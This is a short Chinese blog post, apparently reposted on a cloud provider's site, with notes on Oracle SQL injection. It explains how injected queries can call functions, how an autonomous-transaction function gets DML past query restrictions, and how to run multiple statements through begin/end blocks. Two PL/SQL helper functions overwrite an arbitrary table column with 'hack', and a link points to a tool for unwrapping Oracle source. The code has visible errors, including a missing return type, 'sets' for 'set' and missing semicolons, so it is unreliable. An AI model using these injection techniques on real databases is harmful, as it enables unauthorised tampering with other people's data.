温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

写在SQL注入后

发布时间:2020-07-24 23:15:36 来源:网络 阅读:882 作者:fatshi 栏目:关系型数据库


1. 查询语句后只能直接调用函数,不能直接调用存储过程,例如:select function() from dual可以,select procedure() from dual不行;

2. 查询语句中无法执行DML或DDL操作,也就是说如果被调用的函数里有insert、update、delete、create之类的写操作,就会报错,除非函数被声明为自治事务,关键字PRAGMA AUTONOMOUS_TRANSACTION

create or replace function funinject(ftable varchar2, fcol varchar2) return 
pragma autonomous_transaction;
my_sql varchar2(1000);
begin
    my_sql := 'update '|| ftable || ' sets '|| fcol ||'=''hack''';
    execute immediate my_sql;
    commit;
    return 'inject'
end funinject

3. 如果函数中有insert、update、delete、create之类的写操作,则只能注入到insert、update、delete之类的子查询里,例如:insert into table values(1,select function() from dual);

4. Oracle不能注入多语句,除非被注入的SQL动态语句在begin和end之间例如:

create or replace function funinjecting(ftable varchar2, fcol varchar2) return varchar2 
is my_sql varchar2(1000);
begin
    my_sql := 'begin update '|| ftable || ' set '||fcol||'=''hack'';end;';
    execute immediate my_sql;
    return 'inject'
end funinjecting



unwrap Oracle SQL源码的工具

http://yun.baidu.com/s/1kTgP2SZ

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI